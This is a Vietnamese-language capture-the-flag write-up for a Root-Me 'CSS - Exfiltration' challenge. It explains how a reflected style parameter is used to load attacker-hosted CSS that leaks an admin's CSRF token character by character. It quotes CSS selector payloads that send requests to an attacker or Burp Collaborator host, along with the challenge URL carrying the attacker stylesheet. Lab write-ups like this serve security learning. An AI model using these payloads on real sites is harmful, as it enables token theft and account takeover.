CSS - Exfiltration
Như đúng tên gọi của bài này là chúng ta sẽ sử dụng css để attack. Và bài này nó có hint là lấy mã csrf
- Vậy bắt đầu truy cập trang web và recon xem nó có những gì nào. Thì chúng ta có thể thấy nó có giao diện gửi form ngoài ra trên thanh url khi chúng ta gửi sẽ xuất hiện tham số style nữa.
- Vậy chúng ta bây giờ có 5 trường cần kiểm tra. Sau một lúc kiểm tra thì các bạn có thể thấy giá trị của style sẽ được reflect vào thẻ styte như ảnh dưới
- Oki bây giờ thử các giá trị đặc biệt như "()... thì sao. Thì thấy nó filter và không thể inject được.
- Vậy bây giờ thử trỏ nó tới server của mình thì sao?
http://[burp collaborator]/
các bạn nhớ thêm dấu / ở cuối nhé vì mặc định là nó sẽ thêm .css ở cuối. Và kết quả là nó có truy cập tới đường dẫn của mình.
- Vậy như ban đầu là tiêu đề đã bảo sử dụng css rồi. Thì ý tưởng là chúng ta sẽ tạo một file css trên server của chúng ta và để cho nó import file css của mình vào.
- OKi ý tưởng đã có giờ cần nghĩ cách làm sao để css mà lấy được mã csrf nhỉ?
- Sau một hồi tìm hiểu thì có một bài viết nói về cái này khá hay:
https://research.securitum.com/stealing-data-in-great-style-how-to-use-css-to-attack-web-application/?fbclid=IwAR324wSvc72N_z_8Wafe-UtXpzDGfBBzvRTAFRhpKOOtEJJ8TbW1RzGOH8k
- Trong bài viết này có 2 TH đó là lấy mã csrf trong thẻ input và lấy token trong thẻ scritp. Đối với bài này thì chúng ta tập chung vào phần lấy mã csrf nhé. Ý tưởng của bài này là chúng ta sẽ check ký tự đầu tiên của tham số value nằm trong thẻ input có name="csrf":
input[name="csrf"][value^="0"] {background: url(http://attacker-server/0)}
Nếu giá trị đầu tiên mà đúng thì nó sẽ gửi request tới server của attacker(chính là serever của chúng ta đó) - Đã có ý tưởng bây giờ điều cần làm là thực hiện nó trên local trước đã. Để thực hiện được yêu cầu các bạn phải có server vì vậy các bạn có thể dùng ngrok nhé. Còn mình thì mình dùng servre của mình.
- Sử dụng js để tạo server và tạo một enpoint là cssExfil.css
- Trong file cssExfil chúng ta sẽ thêm một payload"
input[name="csrf"][value^="y"] {background: url(http://[Burp collaborator]/0)}
để kiểm tra nó có hoạt động như chúng ta nghĩ. Các bạn chú ý giá trị của value thì chúng ta sẽ lên web root me và xem trong thẻ input xem giá trị đầu tiên là gì nhé đối với mình thì giá trị đầu tiên của csrf là y. Nếu mà nó thực hiện đúng thì burp collaborator của chúng ta sẽ nhận được request. - Oki sau khi đã xác định được ý tưởng là đúng thì chúng ta sẽ nghĩ tới hướng đi tiếp theo. Như các bạn có thể thấy là hiện tại chúng ta mới chỉ có kiểm tra được giá trị đầu tiên của mã csrf thôi. Vậy giá trị thứ 2,3,4.... thì làm thế nào?
- Bây giờ chúng ta cần tạo ra một enpoint để lưu trữ lại giá trị này lại mỗi khi nó đúng. Vậy bây giờ chúng ta sẽ tạo ra một enpoint để lưu mã csrf đúng lại. Và chúng ta cũng cần tạo một enpoint để trả về mã csrf để tiếp tục sử dụng nó để tìm kiếm giá trị tiếp theo của mã csrf
-
Oki đấy là sử lý bên phía server. Bây giờ chúng ta cần viết một đoạn mã xử lý phía client nào.
-
Tại phía client chúng ta sẽ viết một file html. Ý tưởng sẽ làm thực hiện brute force mã csrf. Mã csrf chúng ta có thể đếm nó có 32 ký tự.
-
Ý tưởng tổng quan:
- Brute force ký tự đầu tiên của mã csrf: Để brute force được thì chúng ta cần chuẩn bị một file css có dạng như dưới ảnh. Nếu ký tự nào đúng nó sẽ được gửi tới enpoint token của attacker.
- Bên phía client bạn sẽ thực hiện tạo file css này. Các bạn chú ý tới tham số extractToken nhé nó sẽ được lấy ra tại enpoint /extractToken bên phía server và giá trị này chính là những ký tự đúng và đã được lưu lại:
- Sau khi tạo file css xong bạn sẽ tạo mã để gửi đống css này tới server để server xử lý:
- Sau khi tạo được file css như này rồi thì chúng ta sẽ lưu file css này vào enpoint cssExfil trên SERVER của attacker. Enpoint này sẽ thực hiện lưu mã css này vào file cssExfil.css
- Sau khi tạo xong file css thì bây giờ chúng ta cần admin nó nhấp vào đường dẫn tới file css của chúng ta đúng không.
- Phía client các bạn viết một đoạn mã sử dụng fetch để gửi request post. Request này chính là cái form trên trang root me đó. Nhớ là trường URL phải là đường dẫn tới website của rootme thì admin nó mới truy cập vào. Để biết chi tiết các bạn có thể nhìn hình bên dưới. Nhưng mục tiêu cuối cùng là để admin nó truy cập tới đường dẫn
http://challenge01.root-me.org:58005/?style=http://websiteAttacker/cssExefil
- Sau khi admin truy cập vào file css của mình là mình sẽ tìm được ký tự đầu tiên của admin rồi. - Bây giờ cần lặp lại việc lại cho đến ký tự số 32 đúng không. - Vậy chúng ta sẽ thêm vòng lặp while như ảnh dưới:
- Ở ảnh trên chúng ta có thể thấy sau mỗi lần admin truy cập tới file css của attacker thì chúng ta sẽ tìm ra được một ký tự đúng và ký tự này sẽ được lưu lại tại enpoint extractToken. Và nó sẽ được lấy ra trước mỗi lần thực hiện bruteforce tiếp theo.
- Cuối cùng chúng ta sẽ thực hiện chạy server và chạy file index.html và đợi log về máy thôi.